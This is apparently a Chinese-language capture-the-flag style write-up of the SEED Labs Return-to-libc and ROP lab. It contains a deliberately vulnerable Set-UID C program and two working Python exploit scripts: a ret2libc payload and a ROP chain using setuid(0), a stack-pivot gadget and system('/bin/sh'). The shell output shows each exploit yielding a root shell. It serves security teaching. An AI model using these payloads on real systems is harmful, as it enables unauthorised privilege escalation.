Seedlab Ret2Libc 与 ROP WriteUp

作者 江湾老菜

简介

本文将简单介绍SeedLab的Ret2Libc实验的ROP部分。
代码可以从这个链接下载。

Seedlab的文档中提到过一种ROP的攻击方法,但并没有给出优雅的实现。本文将分享一下我的作法,在介绍ROP之前,我会先简单介绍一下这个实验的return to libc 部分,让大家对实验设置有一个大概的了解。

 

Return to Libc 实验

实验设置

首先,Return to Libc实验给了一个存在栈溢出的Bug的C程序:

int bof(char *str){

    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);
    return 1;
}

很明显,bug出在strcpy()函数的使用上: 如果字符串str的长度大于BUF_SIZE, bof()的栈顶和返回地址会被覆盖掉,从而程序的控制流会被劫持。

程序编译的方式为:

N = 66
retlib: retlib.c
    gcc -m32 -DBUF_SIZE=${N} -fno-stack-protector -z noexecstack -o $@ $@.c
    sudo chown root $@ && sudo chmod 4755 $@

sudo chmod 4755中,4的含义是让其他用户能够以root的权限执行retlib程序,也就是说, 这是一个有Set-UID权限程序。通过攻击这个有bug的程序,普通用户能够以root的权限执行命令!

另外, 实验将/bin/zsh软连接到/bin/sh:

sudo ln -sf /bin/zsh /bin/sh

这是因为在system运行的时候,会先调用”/bin/sh”执行程序,再用”/bin/sh”执行指令。而”/bin/sh”默认指向的”/bin/bash”会先drop掉Set-UID权限再执行指令。因此即使system(“/bin/zsh”),也需要先执行”/bin/sh”, 我们无法直接获取有root权限的shell。这里的设置实际是简化了难度,而在ROP实验中,我们会将恢复”/bin/sh”的软连接。

最后,实验关闭了系统的ASLR, 因此程序段和堆栈的地址是固定的:

sudo sysctl -w kernel.randomize_va_space=0

Return to Libc 攻击方法

Return to Libc 程序分析

我们先来分析来一下被攻击程序。通过上面的编译选项我们看到,retlib:

  • 是一个32位的程序:-m 32
  • 关闭了栈溢出保护:-fno-stack-protector
  • 栈是不可执行的:-z noexecstack

程序的main函数会先从badfile文件中读取1000个字符,存在main函数的input[]中,然后把input[]的地址传给刚刚分析的有bug的bof()函数。代码如下:

int main(int argc, char **argv)
{
    char input[1000];
    FILE *badfile; 

    badfile = fopen("badfile", "r");
    int length = fread(input, sizeof(char), 1000, badfile);
    printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
    printf("Input size: %d\n", length);

    bof(input);
    printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");

    return 1;
}

我们先创建一个空的badfile,然后运行程序retlib:

$ touch badfile
$ make
$ ./retlib
Address of input[] inside main():  0xffffc050
Input size: 300
Address of buffer[] inside bof():  0xffffc020
Frame Pointer value inside bof():  0xffffc038
(^_^)(^_^) Returned Properly (^_^)(^_^)

现在badfile为空, 程序正常返回。但通过这次运行我们通过输出拿到了input[]的地址,bof函数中buffer[]的地址,以及bof函数ebp的地址。由于系统的地址随机化保护是关闭的,下次运行这个程序时,这些地址不变。

由于栈不可执行,我们不能把shellcode放在栈上,然后修改返回地址,让程序返回地址指向shellcode的地址来获得shell权限。 但是, 我们可以把返回地址修改到libc的system()函数,通过执行system(“/bin/sh”), 来拿到shell的权限。

bof()函数执行strcpy()之前,bof的栈地址空间如下:

Higher Address
......
----------------------------
return address
---------------------------- Stack address of return address:  0xffffc03c
old ebp
---------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
---------------------------- Address of buffer[]: 0xffffc020
Lower Address

而我们需要通过栈溢出把返回地址修改成system()的地址:

Higher Address
----------------------------
"/bin/sh" address
---------------------------- Argument 1 address of system(): 0xffffc044
return address of system
----------------------------
system address
---------------------------- Stack address of return address:  0xffffc03c
xxxx
---------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
---------------------------- Address of buffer[]: 0xffffc020
Lower Address

这样,程序返回的时候,就会执行system(“/bin/sh”);

Return to Libc攻击

首先,通过gdb调试,我们可以获取system()地址和system()返回的地址(exit函数):

./retlib
gdb-peda$ break main 
gdb-peda$ run
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e11420 <system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xf7e03f80 <exit>

system()的地址是 0xf7e11420, 由于系统的地址随机化保护是关闭的,下次运行程序时,这个地址是不变的。

然后,我们需要把”/bin/sh”地址放在栈上,并把system()第一个参数写成它的地址。由于字符串的结尾’x00‘会让strcpy()终止,我们需要把”/bin/sh”放在栈的最后。

通过计算得到返回地址和buffer之间的距离是: 0x1c(0xff83a2cc – 0xff83a2b0)。 因此我们需要在badfile的0x1c地方写入system()地址,在0x1c+4处写入exit地址,在0x1c+8处写入”/bin/sh”地址。”/bin/sh”也是一个字符串,如果写在在了badfile的A个字符处,因此它在栈上的地址是(buffer地址 + A)。

综合以上分析,构造程序的输入如下:

#!/usr/bin/env python3
import sys

content = bytearray(0xaa for i in range(300))
content[100: 100+9] = b"/bin/sh\x00"

X = 0x1c+8
sh_addr = 0xffffc020 + 100 # The address of "/bin/zsh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Z = 0x1c+4
exit_addr = 0xf7e03f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

Y = 0x1c
system_addr = 0xf7e11420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)

运行脚本可以生成攻击的badfile,再运行retlib程序,可以拿到root权限:

$ ./exploit.py
$ ./retlib
Address of input[] inside main():  0xffffc050
Input size: 299
Address of buffer[] inside bof():  0xffffc020
Frame Pointer value inside bof():  0xffffc038
# id
uid=1000(vam) gid=1000(vam) euid=0(root) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)

 

ROP(Return-Oriented Programming) 实验

实验设置

在retlib的基础上,实验恢复了”/bin/sh”指向”/bin/dash”软连接:

sudo ln -sf /bin/dash /bin/sh

system()函数在运行的时候,会先调用”/bin/sh”指向的程序(也就是”/bin/dash”),再通过”/bin/dash”执行其他程序。而在Set-UID的进程中执行”/bin/dash”的时候,它会先drop掉Set-UID权限。如果使用retlibc的攻击方法,我们只能拿到一个没有root权限的shell:

$ ./retlib
Address of input[] inside main():  0xffffc050
Input size: 299
Address of buffer[] inside bof():  0xffffc020
Frame Pointer value inside bof():  0xffffc038
$ id
uid=1000(vam) gid=1000(vam) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)

这时候应该怎么绕过呢? Seedlab文档给出了两种思路:

  • 把返回地址改成execv(),并设置execv的参数运行”/bin/bash -p”。使用了“-p”参数后,Set-UID权限不会被drop掉。
  • ROP: 在调用system之前, 先控制执行流执行setuid(0)把进程的user ID设置成0,也就是变成了一个root用户的程序。执行system(“/bin/sh”)的时候,即使drop掉了Set-UID权限,也能获得root的shell。

第一种思路是seedlab ret2lib实验的task4, 文档中有详细的教程, 这里不再赘述。
第二种思路通过构造ROP链攻击,文档有所提及,但没有给出简单优雅的攻击实现,所以下面分享一下我的ROP攻击的实现思路。

ROP攻击方法

首先,我们要在函数bof的栈上构造一个ROP链:

Higher Address
--------------------------
address of "/bin/sh"
--------------------------
exit address
-------------------------- (C)
system address
-------------------------- (B)
0
-------------------------- (A) Argument 1 address of setuid(): 0xffffc044
address of "pop xxx; ret" 
--------------------------
setuid address
-------------------------- Stack address of return address:  0xffffc03c
xxxx
-------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
-------------------------- Address of buffer[]: 0xffffc020
Lower Address

如果能把bof的栈构造成这种上图,bof返回时,会先执行setuid(0)。 setuid执行完毕后,会执行ret指令,弹出”pop xxx; ret”的地址,并将”pop xxx; ret”赋给eip,此时esp的地址在(A)处。执行”pop xxx” 会弹出0,esp指向(B);再执行ret,eip会变成system的地址,从而执行system(“/bin/sh”)。

可是,如何寻找”pop xxx; ret”这样的代码片段呢? 我们可以用objdump来反汇编:

objdump -d retlib > ass.txt
less ass.txt

在ass.txt中,很容易发现各种符合我们要求的gadgets,比如:

Gadget A
    1442:       5b                      pop    %ebx
    1443:       c3                      ret

0x1442 + retlib代码段的起始地址,就是Gadget A在程序中的地址。
代码段的地址可以用peda的vmmap命令看到:

gdb-peda$ vmmap
Start      End        Perm      Name
0x56555000 0x56556000 r--p      /home/vam/cs_lab1/Ret2Libc/retlib
0x56556000 0x56557000 r-xp      /home/vam/cs_lab1/Ret2Libc/retlib
0x56557000 0x56558000 r--p      /home/vam/cs_lab1/Ret2Libc/retlib
0x56558000 0x56559000 r--p      /home/vam/cs_lab1/Ret2Libc/retlib
0x56559000 0x5655a000 rw-p      /home/vam/cs_lab1/Ret2Libc/retlib
0xf7dcc000 0xf7de9000 r--p      /usr/lib32/libc-2.31.so
0xf7de9000 0xf7f41000 r-xp      /usr/lib32/libc-2.31.so
0xf7f41000 0xf7fb1000 r--p      /usr/lib32/libc-2.31.so
0xf7fb1000 0xf7fb3000 r--p      /usr/lib32/libc-2.31.so
0xf7fb3000 0xf7fb5000 rw-p      /usr/lib32/libc-2.31.so
0xf7fb5000 0xf7fb7000 rw-p      mapped
0xf7fc9000 0xf7fcb000 rw-p      mapped
0xf7fcb000 0xf7fcf000 r--p      [vvar]
0xf7fcf000 0xf7fd1000 r-xp      [vdso]
0xf7fd1000 0xf7fd2000 r--p      /usr/lib32/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp      /usr/lib32/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p      /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p      /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p      /usr/lib32/ld-2.31.so
0xfffdc000 0xffffe000 rw-p      [stack]

因此,”pop %ebx; ret” 的地址为: 0x1442 + 0x56555000。

到目前为止,一切看起来都很美好。然而,setuid的参数是0, 它是一个int类型的整数,用字符串表示为”\x00\x00\x00\x00”,当strcpy()遇到’\x00’后,会停止拷贝。因此,我们没办法把完整的ROP链拷贝到bof函数的上面。

如何绕过strcpy对与’\x00’的限制呢? 一种方法是栈溢出之后,先执行read()函数,从标准输入中获取新的输入,然后写到栈上。read()没有’\x00’结束的限制,因此它可以写入任意的值。这种方法也是有问题的,由于read()函数需要给fd赋值(read(fd, buffer, size)),而fd是一个int类型的数字,它一般比较小,高位一定会含有’\x00’。
seedlab给出了另一种使用sprintf()函数的方法,但这种方法比较复杂,文档中也有提到:

The method is quite complicated and takes 15 pages to explain in the SEED book.

下面介绍一种比较简洁的思路。
尽管ROP链不能被完整地拷贝到bof()的栈上面,但main函数的input[]中有一个备份:

int length = fread(input, sizeof(char), 1000, badfile);

如果我们能把栈(也就是esp)指向input[]相应的位置,就能够顺利地执行ROP的程序流。
可是如何修改esp呢?我们需要在程序反汇编的结果中找另外的gadgets,利用这些gadgets的组合,来让esp指向input[]的地址。
我们很幸运,在反汇编的结果中,发现了这样的gadgtes:

Gadget B:
13a5: 59        pop %ecx
13a6: 5b        pop %ebx
13a7: 5d        pop %ebp
13a8: 8d 61 fc  lea -0x4(%ecx),%esp
13ab: c3        ret

Gadget B可以先从栈上pop一个值给%ecx,然后把 %ecx – 4 赋给%esp,最后ret会从栈上取返回地址返回。而栈是被我们控制的 。%ecx和ret的返回地址也都可以不是0,这就绕过了strcpy在’\x00’结束的限制。

根据上面的分析,我们可以构造如下ROP链:

Higher Address
--------------------------
address of "/bin/sh"
--------------------------
exit address
--------------------------
system address
--------------------------(D - rop in input[])
0
--------------------------
Gadget A
--------------------------(C - rop in input[])
setuid address
--------------------------(B - rop in input[])
xxxxx 
--------------------------
xxxxx
--------------------------
new stack address in input
--------------------------
Gadget B
--------------------------(A - rop in buffer[])
xxxxx
xxxxx
.....
--------------------------
Lower Address

栈溢出后,先执行gadget B(位置A, 在buffer的rop链中):

  • pop %ecx 把新栈顶+4的位置给%ecx
  • lea -0x4(%ecx),%esp 把新栈顶给%esp
  • ret 返回到当前栈顶指向的地址(位置B, 在input的rop链中)

之后,程序会依次执行setuid(0), Gadget A, system(“/bin/sh”), 拿到有root权限的shell。

根据上述分析,实现攻击脚本如下:

#!/usr/bin/env python3
import sys

content = bytearray(0xaa for i in range(300))

process_code = 0x56555000
pop_ret_addr = 0x1442 + process_code # Gadget A
pop_lea_addr = 0x13a5 + process_code # Gadget B


system_addr = 0xf7e11420
exit_addr = 0xf7e03f80 
setuid_addr = 0xf7e98e30

main_buffer = 0xffffc050 
main_buffer_addr = main_buffer+ 0x1c + 4*5

pay = 0xdeedbeef
sh_addr = main_buffer + 0x100

chain = [pop_lea_addr, main_buffer_addr, pay, pay, setuid_addr, pop_ret_addr, 0, system_addr, exit_addr, sh_addr]

start = 0x1c
for i in range(len(chain)):
    content[start+i*4: start+i*4+4] = (chain[i]).to_bytes(4,byteorder='little')

content[0x100:0x100+8] = b"/bin/sh\x00"

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)

运行脚本之后生成badfile之后,可以获得有root权限的shell:

$ python3 exploit.py
$ ./retlib
Address of input[] inside main():  0xffffc050
Input size: 300
Address of buffer[] inside bof():  0xffffc020
Frame Pointer value inside bof():  0xffffc038
# id
uid=0(root) gid=1000(vam) groups=1000(vam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)

(本篇完)

(完)